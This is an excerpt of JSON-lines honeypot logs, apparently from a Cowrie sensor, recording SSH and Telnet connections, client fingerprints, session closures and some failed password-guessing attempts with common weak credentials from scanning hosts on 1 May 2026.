{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:21.074318Z","src_ip":"176.65.139.103","session":"ad5ee5364910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:21.807616Z","src_ip":"159.203.92.129","session":"13b66cf1bc7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40310,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa18cee61ad","protocol":"telnet","message":"New connection: 213.136.75.179:40310 (10.17.0.5:23) [session: 7fa18cee61ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:23.443308Z"}
{"eventid":"cowrie.session.closed","duration":30.84350347518921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:24.429096Z","src_ip":"213.136.75.179","session":"464bc8f1dc94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287163019180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:25.350456Z","src_ip":"213.136.75.179","session":"0d61bb4dc661","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39904,"dst_ip":"10.17.0.5","dst_port":22,"session":"0609757598f2","protocol":"ssh","message":"New connection: 176.65.139.103:39904 (10.17.0.5:22) [session: 0609757598f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:25.901155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:25.952064Z","src_ip":"176.65.139.103","session":"0609757598f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:26.040471Z","src_ip":"176.65.139.103","session":"0609757598f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:26.336966Z","src_ip":"176.65.139.103","session":"0609757598f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:27.440119Z","src_ip":"176.65.139.103","session":"0609757598f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.186278581619263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:32.165789Z","src_ip":"213.136.75.179","session":"1d657519c429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39914,"dst_ip":"10.17.0.5","dst_port":22,"session":"950b51c2986b","protocol":"ssh","message":"New connection: 176.65.139.103:39914 (10.17.0.5:22) [session: 950b51c2986b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:32.547143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:32.551607Z","src_ip":"176.65.139.103","session":"950b51c2986b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:32.633818Z","src_ip":"176.65.139.103","session":"950b51c2986b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:33.011213Z","src_ip":"176.65.139.103","session":"950b51c2986b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:34.249265Z","src_ip":"176.65.139.103","session":"950b51c2986b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43402,"dst_ip":"10.17.0.5","dst_port":22,"session":"94883b1edfd7","protocol":"ssh","message":"New connection: 176.65.139.103:43402 (10.17.0.5:22) [session: 94883b1edfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:38.852312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:38.858681Z","src_ip":"176.65.139.103","session":"94883b1edfd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:38.942250Z","src_ip":"176.65.139.103","session":"94883b1edfd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:39.216768Z","src_ip":"176.65.139.103","session":"94883b1edfd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.42376255989075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:40.267880Z","src_ip":"213.136.75.179","session":"cb7f3631a34b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:40.305011Z","src_ip":"176.65.139.103","session":"94883b1edfd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64909863471985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:41.124340Z","src_ip":"213.136.75.179","session":"1bc74185dafa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48004,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ebe2b8e6ceb","protocol":"telnet","message":"New connection: 213.136.75.179:48004 (10.17.0.5:23) [session: 7ebe2b8e6ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:42.952560Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":48016,"dst_ip":"10.17.0.5","dst_port":23,"session":"7078a3716e1c","protocol":"telnet","message":"New connection: 213.136.75.179:48016 (10.17.0.5:23) [session: 7078a3716e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:43.857551Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53726,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b6bf5604268","protocol":"ssh","message":"New connection: 176.65.139.103:53726 (10.17.0.5:22) [session: 0b6bf5604268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:45.010967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:45.016064Z","src_ip":"176.65.139.103","session":"0b6bf5604268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:45.101516Z","src_ip":"176.65.139.103","session":"0b6bf5604268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:45.348418Z","src_ip":"176.65.139.103","session":"0b6bf5604268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.168729543685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:46.108948Z","src_ip":"213.136.75.179","session":"2f3d1edee7a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:46.438577Z","src_ip":"176.65.139.103","session":"0b6bf5604268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53738,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d3a9957274","protocol":"ssh","message":"New connection: 176.65.139.103:53738 (10.17.0.5:22) [session: c3d3a9957274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:51.831529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:51.836447Z","src_ip":"176.65.139.103","session":"c3d3a9957274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:51.920272Z","src_ip":"176.65.139.103","session":"c3d3a9957274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:52.174600Z","src_ip":"176.65.139.103","session":"c3d3a9957274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.23685002326965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:52.983001Z","src_ip":"213.136.75.179","session":"82f4486a1685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:53.412106Z","src_ip":"176.65.139.103","session":"c3d3a9957274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6290a79fc92e","protocol":"telnet","message":"New connection: 213.136.75.179:44796 (10.17.0.5:23) [session: 6290a79fc92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:53.666350Z"}
{"eventid":"cowrie.session.closed","duration":30.86378502845764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:54.306962Z","src_ip":"213.136.75.179","session":"7fa18cee61ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":58876,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ccba8316898","protocol":"ssh","message":"New connection: 103.176.20.115:58876 (10.17.0.5:22) [session: 0ccba8316898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:57.455289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:57.460881Z","src_ip":"103.176.20.115","session":"0ccba8316898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:57.719621Z","src_ip":"103.176.20.115","session":"0ccba8316898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35290,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd75ce5ec152","protocol":"ssh","message":"New connection: 80.94.92.182:35290 (10.17.0.5:22) [session: cd75ce5ec152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.117664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.154750Z","src_ip":"80.94.92.182","session":"cd75ce5ec152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.292912Z","src_ip":"80.94.92.182","session":"cd75ce5ec152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47246,"dst_ip":"10.17.0.5","dst_port":22,"session":"60de80237869","protocol":"ssh","message":"New connection: 176.65.139.103:47246 (10.17.0.5:22) [session: 60de80237869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.746042Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"wc123456","message":"login attempt [root/wc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.781075Z","src_ip":"103.176.20.115","session":"0ccba8316898","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:45:58.910003Z","src_ip":"176.65.139.103","session":"60de80237869","protocol":"ssh"}
